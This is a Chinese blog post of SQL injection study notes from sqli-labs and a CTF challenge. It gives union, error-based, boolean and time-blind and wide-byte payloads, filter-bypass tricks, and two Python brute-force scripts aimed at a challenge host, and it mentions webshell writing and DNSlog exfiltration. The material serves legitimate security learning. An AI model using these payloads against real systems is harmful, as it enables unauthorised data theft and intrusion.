0%

sql注入总结

刷完了sqlilab,今天来总结一下注入的相关内容。

0x00 注入类别

按变量类型分类
  • 数字型(没有引号)
  • 字符型(有引号)
按提交方式分类
  • GET型
  • POST型
  • COOKIE型
按注入方式分类
  • union联合查询注入
  • 报错注入
  • 盲注
    • 基于时间的盲注
    • 基于布尔的盲注
编码
  • 宽字节注入
其他
  • 二次注入
  • 文件读写,DNSlog

0x01 可能存在注入的位置

1.GET数据

2.POST数据

3.http请求头

4.cookie

0x02 引号/括号闭合方式

主要有以下7种,判断的时候除了尝试外还需要根据报错信息(如果有的话)进行快速确定。

总结一下常见的一些闭合方式:

1.单引号闭合'

2.双引号闭合"

3.单引号加括号')

4.双引号加括号'")

5.括号(仅限数字型注入))

6.单引号加双括号'))

7.双引号加括号"))

0x03 联合查询注入的模板

联合查询注入主要借助 union select 来完成,一般payload:

1
?param=-1' union select 1,2[,3,...] %23

查数据库,表,列通过information_schema中的各个数据表来获取,注意回显位,以当前数据表一共4列,第二列数据会回显为例:

1
2
3
?param=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3,4 %23
?param=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="XXXX"),3,4 %23
?param=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema="XXXX" and table_name="XXXXXX"),3,4 %23

联合查询注入适用范围:有回显,有报错

0x04 报错注入的模板

报错注入主要借助特殊函数,构造特殊输入造成报错,将重要信息带到报错信息中,一般payload:

1
?param=1' and updatexml(1,concat('~',database()),1) %23

报错注入常用函数:

updatexml()

函数原型:UPDATEXML(XML_document, XPath_string, new_value);
第一个参数:XML_document,是String格式,是XML文档对象的名称
第二个参数:XPath_string,XPath格式的字符串
第三个参数:new_value,String格式,替换查找到符合条件的数据
函数作用:改变文档中符合条件的节点的值。
注:updatexml最多只能显示32位,需要配合substr等字符串处理函数使用。
例如:

1
http://example.com/index.php?id=1 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
extractvalue()

函数原型:EXTRACTVALUE(XML_document, XPath_string)
参数含义同上。
举例:

1
http://example.com/index.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
几何对象

MySQL中支持的几何数据类型包括Geometry,Point,LineString,Polygon以及集合类型的MultiPoint,MultiLineString,MultiPolygon,GeometryCollection.其中Geometry可以表示任意一种几何类型,即在MySQL中,如果一个字段类型是Geometry,则可以存储Point、LineString等其它几何类型的值。其他的几种则需要固定有效的表示格式。
我们可以借助几何对象的相关函数进行报错注入。
geometrycollection():id=1 and geometrycollection((select * from(select * from(select user())a)b))
multipoint():id=1 and multipoint((select * from(select * from(select user())a)b))
polygon():id=1 and polygon((select * from(select * from(select user())a)b))
multipolygon():id=1 and multipolygon((select * from(select * from(select user())a)b))
linestring():id=1 and linestring((select * from(select * from(select user())a)b))
multilinestring():id=1 and multilinestring((select * from(select * from(select user())a)b))

exp()

例子:
id=1 and exp(~(select * from(select user())a))

报错注入适用范围:无回显,但可以获得详细报错信息。

0x05 盲注

盲注主要分为布尔盲注,时间盲注,其中布尔盲注通过页面报错or不报错(或者显示不同信息)来判断某一次查询结果是否为真,时间盲注通过请求响应时间来判断某一次猜解是否正确。

盲注要灵活运用字符串处理函数,例如substr,left,right。

通用payload:

1
2
?param=1' and if(ascii(substr(database(),{pos},1))>{val},1,0) %23 # 布尔,借助if函数(if被过滤可使用case when)
?param=1' and ascii(substr(database(),{pos},1)>{val}) and sleep(3) %23 # 时间,如果第二部分为真则被短路第三部分不执行,否则执行第三部分

通过变换pos和val的值完成对某一项信息的逐位猜解。主要借助二分法来完成某一位pos的值的判断,效率较高。

举一个例子,V1lu0实验室招新hard_sql,第一步爆破数据库名的脚本:

1
2
3
4
5
6
7
8
9
10
import requests

for i in range(1, 10):
for j in range(32, 127):
payload = "?user=1' and if(ascii(substr(database(), {},1))={},pow(999,999),1) %23&pass=123".format(i, j)
url = "http://v8.su29029.xyz:10010/index.php" + payload
r = requests.get(url)
# print(j, end = " ")
if (r.text.find('Something wrong') != -1):
print(chr(j))

这个脚本主要是报错盲注,题目的提示是,语句为真则登录成功,语句为假则返回失败,语句出错则返回something wrong。

这里是直接通过逐位爆破完成的盲注,二分法的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

res = ''
for i in range(1, 10):
min=65
max=127
while(abs(max - min) > 1):
mid = (max + min)//2
payload = "?user=1' and if(ascii(substr(database(), {},1))>{},pow(999,999),1) %23&pass=123".format(i, mid)
url = "http://v8.su29029.xyz:10010/index.php" + payload
r = requests.get(url)
# print(mid, end = " ")
if (r.text.find('Something wrong') != -1):
min=mid
else:
max=mid
res += chr(max)
print(res)

0x06 宽字节注入

宽字节注入主要借助GBK编码,由于mysql的识别错误(错误地将两个url编码字符识别成一个,从而吞掉原本的转义字符或特殊的防注入字符),导致注入。

通用payload:

1
?param=1%df' union select 1,2,3 %23

0x07 二次注入

二次注入主要是利用逻辑漏洞,向数据库中插入脏数据,程序运行中二次去除了脏数据缺未过滤,导致恶意sql代码被执行。常见于用户修改密码逻辑,注册逻辑等。

0x08 文件读写,DNSlog

mysql中load_file()函数可以用于读取本地文件,into outfile 可以向本地写入文件,例如写入一句话木马。

load_file()函数的一个应用是在Windows系统中通过访问由重要信息拼接而成的url,访问url需要进行dns解析,通过查看解析记录即可获取到重要信息。(具体可以参见上一篇博客sqliab学习总结(三))。

0x09 过滤问题

主要绕过方法:双写绕过,任意大小写绕过,相同功能函数绕过,可代替字符绕过。

1.空格,注释,引号,逗号,等号,大于号,小于号

空格主要通过%a0绕过,成功率高。也可通过/**/,以及巧用括号的方式绕过

避免使用注释的方法主要是巧妙闭合单引号。

引号的绕过主要可以通过括号,或者单双引号逃逸的方法。

逗号的绕过主要可以通过join完成,例如:

1
union select * from (select 1)a join (select 2)b join (select 3)

对于某些字符串处理函数,例如substr,可以通过substr(str from pos for len)的方法以避免使用括号,limit 0,1 可以通过limit 1 offset 1代替。

等号主要通过like绕过。

大于号小于号主要使用greatest函数,strcmp函数,between and操作符代替。

2.union select

尝试两个单词之间加%0a,任意大小写,双写。

3.and or

and可以通过&&替代,or可以通过||替代。

4.if

使用case when代替

其余关于过滤的内容见明天的笔记